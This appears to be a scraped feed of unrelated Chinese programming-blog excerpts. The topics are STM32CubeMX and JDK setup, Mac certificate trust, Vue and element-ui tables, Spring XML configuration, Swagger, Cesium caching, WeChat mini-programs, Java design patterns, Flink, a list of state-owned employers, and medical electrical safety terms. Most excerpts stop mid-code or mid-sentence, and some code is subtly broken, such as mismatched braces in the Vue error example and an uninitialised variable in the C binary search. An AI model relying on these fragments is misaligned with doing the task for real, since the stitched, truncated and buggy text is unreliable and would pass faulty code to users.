STM32CubeMX环境安装(保姆级)

目录 JAVA环境安装 安装包 文件夹设置 运行exe STM32CubeMX下载 第一步 第二步 第三步 第四步 第五步 第六步 第七步 第八步 注意,我们使用STM32CubeMX需要安装JAVA环境!!! JAVA环境安装 安装包 JAVA下载链接:JAVA环境下载链接 点开链接之后我们是这个网页,点击下载JAVA。之后会跳转到另外一个网页,点击安装JAVA即可。 文件夹设置 我们下载完之后,会有一个exe文件。我建议在D盘建立一个STM32CubeMX文件夹,在此文件夹下再新建两个文件夹。为JAVA和STM32CubeMX。将安装包(也就是这个exe文件)放入JAVA中 运行exe 我们双击这个exe文件,将会弹出以下界面。左下角的更改目标文件夹需要勾上,否则会默认装到C盘 更改安装路径,这里注意,我们需要再在JAVA文件夹中建立一个空文件夹,这个文件夹名字为JAVA_Environment。然后路径改到JAVA_Environment中。 下图是因为我已经截好图了,安装的时候才发现路径需要在空文件夹里面。所以各位注意一下。 STM32CubeMX下载 STM32CubeMX下载链接 第一步 第二步 第三步 之后我们会弹出一个这样的界面,除了邮箱,其他可以随便填。第三个选项,E-mail那一个是邮箱。 第四步 他会弹出这个,表示需要验证我们填写的邮箱是否正确。 之后我们前往邮箱会看到这个邮件 打开邮件下载。 之后他会重新跳转到我们最开始的STM32CubeMX下载界面,并且自动开始下载 本人使用的是谷歌浏览器,如果你像查看下载进度。点击左上角三个点, 点击下载内容即可查看下载进度。我安装的时候,有将近470MB,所以需要等待一定时间。如果大小与我的不一致可能是有更新。 第五步 将安装包存入D:\STM32_CubeMX\STM32CubeMX。并且解压 解压之后我们会得到一个exe文件,双击 会出现这个,等待一下 第六步 这里建议只勾选第一个,第二个勾选会收集个人数据!!! 如果安装的时候不小心点了,可以在Help—>User Preferences—>General Setting中取消收集个人数据。 第七步 之后我们需要在 D:\STM32_CubeMX\STM32CubeMX目录下再新建一个文件夹STM32CubeMX_Soft。 因为我们如果直接安装在D:\STM32_CubeMX\STM32CubeMX目录下,该目录下的其他文件可能会被覆盖。 第八步 等待一段时间 最后点击Done,我忘记截图了。。。 之后桌面上就有这个图标啦。

Mac 解决证书不受信任问题

1. 问题现象 2. 解决方案 从系统的 启动台 中找到 钥匙串 应用: 然后双击打开,找到对应的证书,然后按照下图操作: 在上图中,选择 始终信任 之后,点击左上角的关闭按钮关闭页面,然后就会出现下图中的密码输入框: 点击上图中的 更新设置 之后,可能界面上还是会看到 此证书已标记为不受此账户信任 的提示,此时,我们退出 钥匙串 应用(退出快捷键 cmd+q),重新打开之后即可正常,如下图:

【前端】报错TypeError: Cannot create property ‘xxx‘ on string ‘xxx‘

报错原因分析:赋值的类型错误 前端在遍历时通过判断条件为数据添加属性时报错,在重新查看代码时发现为遍历语句错误。 for (let item in list) {} for (let item of list) {} 二者的不同之处在于,前者在遍历数组时若数组下存在属性,则会对属性也进行遍历操作,故报赋值的类型错误问题。 详细代码如下: handelData(data) { selectDeclarePlan(data.map(item => { return item.guid })).then(res => { if (res.code === 1) { this.loading = false; let monthData = res.data; for (let yearItem of data) { // 是否存在申报计划 if (monthData.filter(item => item.planYearGuid === yearItem.guid).size != 0) { yearItem.tip = '此年度计划已存在申报计划'; } } else { this.loading = false; this.$message.error(res.message); } }).catch(error => { this.

ehcarts可视化大屏-使用vue-seamless-scroll插件实现轮询列表

页面内容渲染主要是使用 vue-seamless-scroll 插件 前面也看过其他方法,页面方法太多了 ,比较麻烦 这个是目前发现最简单的了,安装下依赖就行,页面直接引用 import VueSeamlessScroll from 'vue-seamless-scroll' 先放效果图: 核心代码如下: <div class="scroll_table"> <div style="display: inline-block; width: 100%"> <table> <thead> <tr> <th :title="'时间'" valign="middle">时间</th> <th :title="'号牌号码'" valign="middle">号牌号码</th> <th :title="'告知/预警类型'" valign="middle">告知/预警类型</th> </tr> </thead> </table> <vue-seamless-scroll class="seamless-warp" style="width: 100%" :data="list"> <table> <tbody> <tr v-for="(item, index) in list" :key="index"> <td :title="item.cjsj">{{ item.cjsj }}</td> <td :title="item.hphm">{{ item.hphm }}</td> <td class="warning_type" :title="item.itemname">{{ item.itemname }}</td> </tr> </tbody> </table> </vue-seamless-scroll> </div> </div> .RealTimeWarning { height: calc(100% - 38px); overflow-y: auto; overflow-x: hidden; .

Error: could not open `D:\JDK\j\lib\amd64\jvm.cfg‘

安装JDK1.8的时候,出现错误Error: could not open `D:\JDK\j\lib\amd64\jvm.cfg'。 一、配置环境变量: 1、依次点击:此电脑——属性——高级系统设置 2、点击:环境变量 3、系统变量——新建,变量名:JAVA_HOME 变量值为JDK的安装路径。注意:此处需要自己的JDK路径,这里是我自己的路径。 D:\JDK\jdk 4、点击Path,编辑——新建 添加一个环境变量: %JAVA_HOME%\bin 重新启动cmd,然后就正常运行啦! 如果还是失败,进入C:\Program Files (x86)\Common Files\Oracle\Java\javapath目录下,删除java.exe,javaw.exe,javaws.exe三个文件。 重启cmd,然后就可以运行了。

如何修改图片像素大小?调整图片大小的简单方法

很多时候我们遇到需要调整图片像素大小的情况,如上传主图详情页、网上报名上传照片等,这时候就需要调整图片大小尺寸,怎么修改图片大小呢?我们可以使用图片改大小(在线修改图片尺寸大小工具-压缩图)工具来处理,下面是修改图片像素大小的具体步骤。 进入压缩图网站后工具栏中选择【图片改大小】功能。 点击选择图片,在左侧工具栏中输入我们想要的图片宽、高(输入其中任意数值,系统自动修改图片尺寸),最后保存图片即可。 以上就是修改图片长宽像素的方法了,我们在上传图片时有时候还会有格式的限制,可以继续使用压缩的转格式工具,将图片格式转换成我们需要的就可以了。

Spring揭秘3:IOC容器之BeanFactory的XML配置管理bean

BeanFactory的XML配置管理bean 是XML配置文件中最顶层的元素,它下面可以包含0或者1个和多个以及或者 的配置:的通用配置 作为所有的“统帅”,它拥有相应的属性(attribute)对所辖的进行统一的默认行为设置,包括如下几个。 可以统一管理的属性,即在配置。 default-lazy-init。其值可以指定为true或者false,默认值为false。用来标志是否对所有的进行延迟初始化。 default-autowire。可以取值为no、byName、byType、constructor以及autodetect。默认值为no,如果使用自动绑定的话,用来标志全体bean使用哪一种默认绑定方式。 default-dependency-check。可以取值none、objects、simple以及all,默认值为none, 即不做依赖检查。 default-init-method。如果所管辖的按照某种规则,都有同样名称的初始化方法的话,可以在这里统一指定这个初始化方法名,而不用在每一个上都重复单独指定。 default-destroy-method。与default-init-method相对应,如果所管辖的bean有按照某种规则使用了相同名称的对象销毁方法,可以通过这个属性统一指定。 的配置 lazy-init 延迟初始化(lazy-init)这个特性的作用,主要是可以针对ApplicationContext容器的bean 初始化行为施以更多控制。与BeanFactory不同,ApplicationContext在容器启动的时候,就会马 上对所有的“singleton的bean定义”①进行实例化操作。通常这种默认行为是好的,因为如果系统有问 题的话,可以在第一时间发现这些问题,但有时,我们不想某些bean定义在容器启动后就直接实例化, 可能出于容器启动时间的考虑,也可能出于其他原因的考虑。总之,我们想改变某个或者某些bean定 义在ApplicationContext容器中的默认实例化时机。这时,就可以通过的lazy-init属性来 控制这种初始化行为。 <bean id="lazy-init-bean" class="..." lazy-init="true"/> <bean id="not-lazy-init-bean" class="..."/> ApplicationContext容器在启动的时候,只会默认实例化not-lazy-init-bean而不会实例化lazy-init-bean。 当然,仅指定lazy-init-bean的lazy-init为true,并不意味着容器就一定会延迟初始化该bean 的实例。如果某个非延迟初始化的bean定义依赖于lazy-init-bean,那么毫无疑问,按照依赖决计 的顺序,容器还是会首先实例化lazy-init-bean,然后再实例化后者。 如 <beans> <bean id="lazy-init-bean" class="..." lazy-init="true"/> <bean id="not-lazy-init-bean" class="..."> <property name="propName"> <ref bean="lazy-init-bean"/> </property> </bean> </beans> autowire 根据bean定义的某些特点将相 互依赖的某些bean直接自动绑定的功能。通过的autowire属性,可以指定当前bean定义采用某 种类型的自动绑定模式。 Spring提供了5种自动绑定模式,即no、byName、byType、constructor和autodetect,下面是 它们的具体介绍。 no:容器默认的自动绑定模式,也就是不采用任何形式的自动绑定,完全依赖手工明确配置各个bean 之间的依赖关系。 <bean id="beanName" class="..." autowire="no"/> byName:按照类中声明的实例变量的名称,与XML配置文件中声明的bean定义的beanName的值进行匹配, 相匹配的bean定义将被自动绑定到当前实例变量上。这种方式对类定义和配置的bean定义有一定的限制。 public class Foo { private Bar emphasisAttribute; ... // 相应的setter方法定义 } public class Bar { .

EasyX图形库简述

目录 一、导言二、环境配置1.配置说明2.开发环境3.安装步骤三、基础概念1.设备2.坐标3.颜色 四、设计界面1.准备工作2.绘制函数 五、例程1.迷宫算法可视化2.打印机任务3.进阶(1)车牌定位及分割算法可视化(2)一个可以拧动和观察的魔方(3)2048小游戏 六、总结 一、导言 EasyX 是针对 C/C++ 的图形库,可以帮助使用C/C++语言的程序员快速上手图形编程。如果对于图形界面开发还比较陌生的朋友,可以通过这个图形库快速上手,之后不管是继续学习界面开发还是工作学习中需要用到相关内容都能有一定帮助。 阅读完本文之后你可以了解EasyX图形库的基本概念,并通过学习例程来实现简单的界面开发。 二、环境配置 1.配置说明 EasyX Graphics Library 是针对 Visual C++ 的免费绘图库,支持 VC6.0 ~ VC2022,这意味着使用常用的能够编译C++的环境即可,无需额外的配置。 EasyX 采用静态编译,不依赖任何 dll,同传统程序的发布方式没有区别,程序不会因为引入 EasyX 而增添任何发布负担。 静态链接的 EasyX,会使编译后的 exe 体积增加 70KB 左右。对于绝大多数应用而言,增加的体积是可以忽略的。若将 Visual C++ 的运行时库改为静态链接模式,编译后的 exe 可以单文件运行。 2.开发环境 本文中使用到的开发环境和工具如下: EasyX Graphics Library for C++(2022-9-1) Visual Studio Community (17.3.4) 3.安装步骤 由于只是简单的库文件,不需要复杂的配置,按照需要根据提示安装即可。 三、基础概念 1.设备 “设备”,是指绘图表面。在 EasyX 中,设备分两种,一种是默认的绘图窗口,另一种是 IMAGE 对象。通过 SetWorkingImage 函数可以设置当前用于绘图的设备。设置当前用于绘图的设备后,所有的绘图函数都会绘制在该设备上。 一开始对于这个概念不是很理解可以暂时搁置,简单的说法就是,你使用这个图形库进行绘图,那么需要一块画布来作画,设备就是你作画的画桌。 2.坐标 在 EasyX 中,坐标分两种:物理坐标和逻辑坐标。物理坐标是描述设备的坐标体系。坐标原点在设备的左上角,X 轴向右为正,Y 轴向下为正,度量单位是像素。 逻辑坐标是在程序中用于绘图的坐标体系。坐标默认的原点在窗口的左上角,X 轴向右为正,Y 轴向下为正,度量单位是点。

el-table 表格列宽根据内容自适应,通过计算宽度实现

我最近在写一个自适应列宽的需求,el-tabl可以e自适应的表格宽度,仅仅是对于100%的效果来说,对于有多列数据,想实现可以展示足够宽的数据列,并且可以有横向滑动条,这样使得每一列都能有足够宽度展示数据。 根据网上找到的几个解决方案,都是计算宽度实现的,这里我也是用的这种方式,但是由于数据有些地方缺失,还有一些地方的数据为string,里面带”\n",所以根据项目情况,我优化了这个计算宽度的函数,这里作为记录。 效果图如下: <el-table fit v-if="tableData" style="width: 100%; overflow-x: auto" v-loading="tableLoading" :height="`calc(100vh - 150px)`" :data="tableData" //表格数据 border ref="rightTable" :header-cell-style="tableHeadClass" //表头加了一个背景色 > <el-table-column label="序号" type="index" :index="getIndex" width="80"></el-table-column> //序号列一定加固定宽度,要不然列一多就会挤到序号列 <el-table-column v-for="(col, index) in tableCol" //表格结构 :key="index" :label="col.colName" :prop="col.colId" :width="flexColumnWidth(col.colId, tableData)" //这里是计算宽度的函数 > <template #default="scope"> <span style="white-space: pre-wrap">{{ scope.row[col.colId] }}</span> </template> </el-table-column> </el-table> 由于后端经常是将结构和数据分开返回的,所以这里的tableCol,与tableData,都循环了一下。 我这里,tableData的结构是对象数组型的,所以比较好遍历。 下面是计算宽度的函数(可以直接复制,修改传参就行,记得将tableData改为自己的数据) //自适应宽度 flexColumnWidth(str, tableData, flag = 'max') { // str为该列的字段名(传字符串);tableData为该表格的数据源(传变量); // flag为可选值,可不传该参数,传参时可选'max'或'equal',默认为'max' // flag为'max'则设置列宽适配该列中最长的内容,flag为'equal'则设置列宽适配该列中第一行内容的长度。 str = str + '' let columnContent = '' if (!

整理了173家国企清单,跳槽必备!

我这里汇总了一些计算机专业可以加入的国企,分享给求职的小伙伴们,内容很多,先收藏再看! 一、首选证券公司 各省基本都有一所证券公司,沿海省份集中在税前30-40万左右,内地集中在20-30万。很少加班,多数为国企,一般要求硕士。 然后还有些公募和私募基金的技术岗,比如易方达基金,华安基金、汇添富基金,比较看中学历,待遇比券商更高。 我认识的一个中部211硕去了上海资产(私募),22k*18=39.6,在基金公司里算是比较低的了。 在证券公司做程序员,不仅要注重专业技术,也要重视业务逻辑,需要了解很多金融类相关的专业知识。 二、各大银行 总结一下就是3点:稳定+薪资还行+没有营销压力。 整体上大银行的待遇>中小银行 地方性银行总行的待遇>国有行省级分行 银行是个比较大的话题:3家政策行(稳定+高薪),6大国有行,12家全国股份行。 每个省的地方性城市银行,地方性农商行,未改制的省联社,还有一批地级市小银行。 1)银行分类 首先银行主要分为如下5类: 3家政策性银行(国家开发银行、进出口银行、农业发展银行),总行+各省的省级分行 6家中央管辖的国有行(中农工建交+邮储),结构为:总行+各省的省级分行 12家全国性股份制商业银行(中信、华夏、招商、深发、光大、民生、浦发、渤海、广发、兴业、恒丰、浙商),结构为:总行+各省的省级分行 已完成股份制改制的各省地方性城市银行+农村商业银行。 144家城市商业银行(南京银行、杭州银行、宁波银行、重庆银行、中原银行、北京银行、上海银行,四川银行等等), 212家农村商业银行(北京农商银行、重庆农村商业银行、深圳农村商业银行、广州农村商业银行、上海农商银行等等),经营范围基本只在本省。 25家未改制的省级农信联社(贵州省农村信用社、河北省农村信用社联合社,辽宁省农村信用社联合社等),经营范围只在本省。 2)根据层级分类 银行科技信息岗分为以下几类: 整体上,总行下属科技信息部>总行下属研发中心>=省级分行>=省会城市支行>=科技子公司>其他地级市支行。 还有些信用卡中心,数据中心我不了解就不说了。 1、总行下属的科技信息部。很少写代码,主要是做技术规划,做管理(管理外包)和运维,所以招人比研发中心少。 招聘要求:一般211硕士起步,学历要求最高。 稳定与待遇:稳定,拿总行平均绩效,待遇不差,看银行盈利水平,每个银行差异较大,入职税前15-28万之间,后续30万+。基本不加班,朝九晚五。 2、总行部门下属的软件研发中心。专职写代码,招人比较多的:工行研发中心(西安成都珠海广州杭州北京),中行研发中心(西安合肥),农业银行研发中心(天津北京成都)。 招聘要求:一般211硕士起步,211&985本科也可以,本科进去性价比高,学校好,基本上去了就要。 稳定与待遇:稳定,但是待遇不太高,转正后大概税前15万-25万,根据职称涨薪资。要加班,加班多少看部门。 3、全国性银行省分行的科技岗。全国性银行在每个省都有省分行,多数要写代码。 招聘要求:硕士起步,或者211本科起步,每个省可能不一样。 稳定与待遇:稳定,薪资大概拿省分行平均工资,待遇看当地的经济情况(效益),一般12-20万。广州和深圳,转正后就20多万,干三年,职级上去了,一年总包应该也是30万左右吧。加班看具体情况。 4、省会城市支行的科技信息岗位。省分行下属管理各个地级市支行,地级市里当然省会城市待遇最好。一般不写代码。 招聘要求:本科起步,省会城市竞争最大。 稳定与待遇:稳定,薪资大概12万-20万。待遇看当地的盈利情况。 省会支行待遇可能高于省分行。 比如杭州支行待遇可能高于浙江省分行待遇。 5、总行下属的科技子公司。银行内部的外包公司。比如招银网络科技,建信金融科技,中银金科,浙商银行的子公司“易企银”,兴业数金,专职写代码。 招聘要求:本科起步。 稳定与待遇:稳定性肯定是下降了,但是待遇上去了,转正后一般税前20-28万。加班会比较多。 优点:薪酬较高(20-30万),招聘量大。 缺点:稳定性差,无行员编制,加班多,技术一般。 6、非省会地级市分支行的科技岗。非省会地级市&区县的科技岗,不写代码,干运维提需求这些。 招聘要求:本科。 稳定与待遇:稳定,待遇比较一般了,税前10万左右吧,看当地分行的效益拿平均绩效,一般在当地还是中上水平。 求职推荐:3家政策性银行总部(国开行、农发行、进出口银行),最稳定。 农业银行,邮储银行(不是子公司同时待遇又高),渤海银行(天津有额外20% 补充公积金) 杭州银行,宁波银行,四川银行。 深圳农商行,广州农商行,重庆农商行。 工行广东省分行,广州支行、深圳支行。 不同银行、不同地区、不同部门差异很大的,具体问题具体分析,多上牛客,多看offershow,还有脉脉。想尽办法问到内部情况。 三、烟草+国家电网+中石油+铁路集团 烟草公司:分为各省烟草专卖局和各省中烟工业(卷烟厂),属于闷声发大财的代表,懂的都懂。 电网是个很大的话题,首选是输电卖电的国家电网、南方电网。 还有发电的央企(煤电、水电、风电、核电、光伏): 国家能源、大唐集团、中国华能、华电集团、国家电投、三峡集团、华润集团、国投集团、中广核集团、中核集团、 最后是电力装备制造的新央企:中国电气装备集团(可能待遇不如前面的)每个省都有中石油分公司。 铁路招聘网:https://rczp.china-railway.com.cn/ 提一句三大运营商,税前8-15万之间,工作氛围褒贬不一看部门和岗位,适合家境好无赚钱压力的。 同理还有各大航空公司各省高速路集团。 四、军工相关的三家央企:航天科技+航天科工+电子科技集团 岗位多集中在北京、上海、西安、成都,其余很多省会也有子公司。 不同所差别很大,待遇看盈利情况,加班情况看部门,一般要求硕士。 五、军队 军队文职和直招军官(偏题了)。 军官直招岗位查询地址:

swagger接口文档分组

swagger接口文档分组 解析问题 因项目中的接口越来越多,使用swagger调试接口的时候,因接口太杂太乱,不太容易找到想要调试的接口,所以研究了一下swagger分组的方法 但是分组是需要配置多个Docket的bean,而一般配置,就是一个docket一个函数定义并加上@Bean注解,代码冗余太多,所以就想着用灵活的方式去配置swagger分组。 @Configuration public class SwaggerConfig { /** * 创建API */ @Bean public Docket createRestApi() { return new Docket(DocumentationType.OAS_30) // 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息) .apiInfo(apiInfo()) // 设置哪些接口暴露给Swagger展示 .select() // 扫描指定包 .apis(RequestHandlerSelectors.basePackage("com.xxx.xxx")) // 扫描所有 .apis(RequestHandlerSelectors.any()) .paths(PathSelectors.any()) .build() .pathMapping(pathMapping) .groupName("全部"); } /** * 添加摘要信息 */ private ApiInfo apiInfo() { // 用ApiInfoBuilder进行定制 return new ApiInfoBuilder() // 设置标题 .title("标题:xxx系统_接口文档") // 描述 .description("描述:用于管理xxxxx信息,具体包括XXX,XXX模块...") // 作者信息 .contact(new Contact("xxxx", null, null)) // 版本 .version("版本号:" + "1.0") .build(); } } 就像普通的swagger配置,一个docket包含所有接口, 而这样的话,swagger文档看起来就非常的杂乱,所以分组是个不错的选择

Cesium 使用 indexdb

CesiumOfflineCache 这是一个 Cesium 插件,它使用 indexDB 离线缓存技术管理 影像图层、地形、3DTiles模型 等资源数据。 https://github.com/WangShan010/CesiumOfflineCache 作者 QQ:2394837320 一、运行原理 在Cesium 通过 Cesium.Resource 发送 资源请求(图层、地形、模型)前,判断本地是否有缓存存在,如果存在则优先使用本地缓存,本地缓存能极大加快场景的二次加载速度。 二、起步 2.1、引入插件 script 方式引入 <script src="./CesiumOfflineCache.min.js"></script> ES6 方式引入 <script type="module"> import './CesiumOfflineCache.min.js'; </script> 2.2、使用方式 index.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> <script src="./Cesium/^1.99/Cesium.js"></script> <link rel="stylesheet" href="./Cesium/^1.99/Widgets/widgets.css"> </head> <body> <div id="MapContainer" style="width: 100%;height: 100%"></div> <script type="module" src="./js/main.js"></script> </body> </html> main.js import './CesiumOfflineCache.min.js'; CesiumOfflineCache.ruleList.add('*'); let viewer = new Cesium.Viewer('MapContainer', { imageryProvider: new Cesium.

【微信小程序】微信小程序跳转H5页面的实现思路与方案

需求简述 当前项目的主流程采用H5的方式编写。 在一些渠道的营销推广活动中,并不能直接跳转到网页,但可以跳转到微信小程序。 于是希望通过微信小程序,间接实现跳转H5页面的需求。 方法简述 有两种解决方案: 1.在微信小程序中打开H5页面,需要借助微信小程序web-view标签。 2.在微信小程序中保存链接,然后提醒用户在浏览器中打开。 具体途径 通过对两种方案的优化,我想到了六种具体的途径。 (一)微信小程序,首页为活动营销页面,页面中有一个按钮,点击进入含有web-view标签的H5具体功能页 (二)微信小程序,首页直接包含web-view标签 (三)微信小程序,进入首页时在onLoad中直接跳转到含有web-view功能页 (四)微信小程序,点击按钮,将链接保存到剪贴板中,并提示用户到浏览器中打开 (五)微信小程序,首页为web-view标签,进行打开方式判断,当打开方式为微信时,界面显示信息引导客户右上角选择用浏览器打开;当打开方式为浏览器时,正常访问 (六)微信小程序,点击按钮,跳转进入公众号,引导用户关注公众号后在公众号中继续业务 更多优化 在用户使用体验方面,值得注意的是,页面加载会需要一定的时间,可以通过增加加载动画、预置海报等方式优化。 在微信小程序体验方面,首屏可以通过预置海报或营销活动等方式,提高小程序的项目完整度,而不仅仅只是一个写了url的web-view标签。 其他功能方面,可以通过一些方法实现url中的传参,从而实现更加丰富的自定义功能。 六种方案中,我个人更建议的是第一种,体验较为完整。 具体代码 完整代码我就不写了,实在太简单了… <view> <web-view src="{{url}}"></web-view> </view> 核心代码就这么一个标签而已 当然在此基础上,你还可以添加其他功能来实现参数传递,具体实现建议百度哦hh 如果需要通过页面跳转,navigatorTo和relaunch应注意根据业务需求选用

呕心整理Java中的12种常用设计模式以及应用场景

目录 单例模式 饿汉模式 懒汉模式 线程锁模式 双重判断模式 静态内部类模式 策略模式 工厂模式 简单工厂 抽象工厂 门面模式 装饰器模式 责任链模式 享元模式 观察者模式 代理模式 静态代理模式 动态代理模式 适配器模式 原型模式 模板方法模式 单例模式 单例模式是java中老生常谈的设计模式,在工作中相信大家也没少接触,就小编个人而言,单例模式的主要应用场景如下: 适用于项目中频繁获取对象的场景,例如:获取缓存对象、获取一些工具类对象等等,由于这些对象使用频率较高,所以在获取对象时,我们使用单例模式指定获取一个对象即可。 下面小编带大家再次温习一下单例模式的写法,这里将介绍单例模式的五种写法, 饿汉模式 代码结构如下: 私有的静态的 最终的 对象 直接new私有的 无参构造方法共有的 静态的 实例方法 饿汉模式是单例模式中常用的写法之一,主要的特点是在定义对象的时候就直接new一个对象,详细代码如下: /** * @{NAME} * @Description TODO * @Author luocong * @Date * @Version 1.0 * 单例模式 饿汉式 * 上来就new对象 **/ public class SignletonHungry { //1. 私有的静态的最终的对象 private static final SignletonHungry singl=new SignletonHungry(); //2. 私有的无参构造函数 private SignletonHungry(){ } //3.

Nuxt3项目bug整理(一): Nuxt3项目执行 nuxt build 的构建命令后控制台date-fns报错

Nuxt3项目执行 nuxt build 的构建命令后控制台date-fns报错 date-fns 是一个日期工具库,出现报错的原因是因为页面上引入了一些日期组件,比如naive-ui的n-date-picker组件: <span class="filterDate"> <n-date-picker v-model:value="historyDay" type="date" clearable placeholder="历史" @update:formatted-value="onMyDateChange" /> </span> 我们只需要在Nuxt3项目的 nuxt.config.ts 的配置文件添加配置: export default defineNuxtConfig({ ...... build: { transpile: process.env.NODE_ENV === 'production' ? [ 'naive-ui', 'vueuc', '@css-render/vue3-ssr', '@juggle/resize-observer', "date-fns", // 加入后可解决报错 ] : ['@juggle/resize-observer'] }, vite: { envDir: '~/env', // 指定env文件夹 optimizeDeps: { include: process.env.NODE_ENV === 'development' ? ['naive-ui', 'vueuc', 'date-fns-tz/esm/formatInTimeZone'] : [] }, } }) process.env.NODE_ENV === ‘production’ 需要判断是否为生产环境,因为这个报错只有在执行 nuxt build 的构建命令才会报错。

Flink-经典案例WordCount快速上手以及安装部署

2 Flink快速上手 2.1 批处理api 经典案例WordCount public class BatchWordCount { public static void main(String[] args) throws Exception { //1.创建一个执行环境 ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); //2.从文件中读取数据 //得到数据源,DataSource底层是DataSet这个数据集 DataSource<String> lineDataSource = env.readTextFile("input/words.txt"); //3.将每行数据进行分词,转换成二元组类型 //FlatMapOperator返回的是一个算子,底层是DataSet这个数据集 FlatMapOperator<String, Tuple2<String, Long>> wordAndOneTuple = lineDataSource.flatMap((String line, Collector<Tuple2<String, Long>> out) -> { //将一行文本进行分词 String[] words = line.split(" "); for (String word : words) { //collect是收集器的用法,of是构建二元组的实例,并输出 out.collect(Tuple2.of(word, 1L)); } }) //泛型擦除,指定tuple的类型 .returns(Types.TUPLE(Types.STRING, Types.LONG)); //4.按照word进行分组 //和spark不一样,没有groupby,所以要根据索引指定key UnsortedGrouping<Tuple2<String, Long>> wordAndOneGroup = wordAndOneTuple.groupBy(0); //5.

数据结构:查找——按姓名查找学生信息

实验要求 n个学生的学生基本信息表,每条信息由姓名和年龄、年级和专业组成,试设计一个算法: 输出学生基本信息表;键盘输入一个学生姓名,利用顺序查找和折半查找实现关键字的查找算法从学生基本信息表中进行查找,打印出查找结果,如果找到输出学生全部信息,否则输出不存在此学生; 设计要求: 首先设计一个含有多个菜单项的主控菜单程序,显示一个标题“学生信息查找”,标题下方给出6个菜单项的内容和输入提示: 输入学生数输入学生姓名基本信息输出学生基本信息表用顺序查找算法的实现查找用折半查找算法的实现查找退出 请选择菜单1--6: #include <stdio.h> #include <stdlib.h> #include <string.h> #define NULLKEY 0 typedef char KeyType; //学生信息结构定义 typedef struct{ KeyType key[20]; //姓名(关键字域) int age; //年龄 int grade; //年级 char major[50]; //专业 }Student,HashTable[200]; //定义顺序表 typedef struct{ Student *R; int length; }SqList; //设置监视哨的顺序查找 int Search_Seq(SqList ST,KeyType key[]) { int i; strcpy(ST.R[0].key,key); for(i=ST.length;strcmp(ST.R[i].key,key)!=0;--i); return i; } //折半查找 int Search_Bin(SqList ST,KeyType key[]) { //利用直接插入排序实现对顺序表的排序 int i, j; for(i=2;i<=ST.length;++i){ if(strcmp(ST.R[i].key,ST.R[j].key)>0){ ST.R[0] = ST.

小程序获取不到用户头像和昵称返回微信用户问题解决,即小程序授权获取用户头像规则调整的最新解决方案

最近好多同学在学习石头哥小程序课程的时候,遇到了下面这样的问题,在小程序授权获取用户头像和昵称时,获取到的是下面这样的。 到底是什么原因导致的呢,去小程序官方文档一看,又是官方改规则了。 点进去一看,原来小程序官方,在2022年11月8日以后,又把获取用户头像的接口回收了 再看看网友的评论,真是骂声一片啊。 真是我的地盘我做主啊,我说怎么样就怎么样啊。有点店大欺客的嫌疑了。。。 但是呢,作为我们苦命的小程序开发者,官方虐我千百遍,我待官方如初恋。没办法啊,我们还是得用小程序不是吗。。。。 所以石头哥这里给大家提供几种解决方案。 一,临时解决方案,降低基础库 其实官方又说一句话,对于低于2.27.1版本的小程序,还是可以使用授权接口的,也就是说,只要我们的基础库低于2.27.1,就可以接着获取用户头像的。 带着试一试的心态,石头哥就去把基础库调低为2.27.0 调低后,再试下获取头像功能,果然还是可以获取到的。 这里要注意一点,调低后,要记得清空下缓存 虽然这个方法可以解决,但是只是一时的,因为小程序官方一直有bug,所以官方会一直升级基础库的,如果我们使用这个方法太久,就会导致基础库版本落后太多,这样的话,后续就会因为基础库太低,导致一些官方新功能无法使用。所以这个方案只是临时解决方案。 二,(不推荐)官方方案,头像昵称填写能力 官方为了补偿我们呢,给我们提供了一个新的方案。 虽然这个方案可以获取到头像和昵称,但是呢。。。。。 我们这里是可以获取到用户头像,但是官方给我们返回的这个头像是一个临时的链接。 既然是临时链接,就意味着这个链接用不了太久就会失效了 如果我们想用这个头像作为商品评论里的头像,那么就不能用这个临时链接了。所以官方出的这个有点鸡肋,基本上没有什么大用。 有用的也就是这个获取昵称。 就是在填写昵称的时候,给input设置一个属性,就可以选用微信昵称或者自己输入新的昵称。 所以如果你只需要使用用户昵称不使用头像,可以用这个方法。 三,(推荐)自己存储头像和昵称 既然官方老是变来变去,还不给我们可以长久使用的头像链接,那么我们就来自己存储用户头像,让这个头像是长久可以用的链接。所以我们这里需要自己开发后台存储头像。有以下几种方式 1,用Java或者php开发后台,存储头像和昵称 2,用云开发的云存储存储头像生成永久链接 我这里推荐大家使用云开发,因为云开发比较简单,当然大家如果会Java或者php开发,可以自己开发后台用于头像的上传和存储。 获取昵称和头像 首先看下效果图 可以看到这里可以获取到昵称,并且可以自己自定义头像,这个自定义的头像存到云存储里,返回的是一个永久的可以使用的链接。 这样我们后面再使用这个头像和昵称,就是永久的了,并且也不用再管小程序官方是不是又改规则了。 我把对应的代码,完整的贴出来给到大家 wxml <view class="item"> <view class="tip">编辑用户昵称</view> <input type="nickname" bindinput="getName" /> </view> <view class="line"></view> <view class="item" bindtap="chooseImage"> <view class="tip">点击修改头像</view> <image src="{{avatarUrl}}" /> </view> wxss样式 .item { display: flex; align-items: center; justify-content: space-between; margin: 15rpx; border-bottom: 1rpx solid gray; padding-bottom: 20rpx; } .

《GB9706.1 医用电气设备 第1部分:安全通用要求》基本概念的思维导图

GB9706.1 医用电气设备 第1部分:安全通用要求 电气安全基本术语-思维导图&概念1.1 正常状态&单一故障状态正常状态 normal condition单一故障状态 single fault condition 1.2 安全防护措施1.2.1 绝缘 insulation基本绝缘 basic insulation辅助绝缘 suplementary insulation双重绝缘 double insulation加强绝缘 reinfaced insulation 1.2.2 保护接地 protectively earth保护接地导线 protective earth conductor保护接地端子 protective earth terminal 1.3 设备分类——按照防电击类型分类I类设备 class I equipmentII类设备 class II equipment内部电源设备 internally powered equipment 1.4 漏电流 leakage current :非功能性电流1.4.1 对地漏电流 earth leakage current1.4.2 外壳漏电流 enclosure leakage current1.4.3 患者漏电流 patient leakage current1.4.4 患者辅助电流 patient auxiliary current 电气安全基本术语-思维导图&概念 在进行GB9706.1的医疗器械的培训之前,对《医用电气设备第1部分:安全通用要求》第二章基本概念的理解比较分散和无序; 经过培训后对基本概念的在逻辑上进行了理解。电气安全以安全为起点,通过消除、隔离、断源、限量、附加、警告等途径进行安全防护措施。 具体的思维导图如下图所示: 1.1 正常状态&单一故障状态 正常状态 normal condition 所有提供的安全防护措施都处于完好状态的状态

QT汇制饼图 QtCharts饼图源码示例

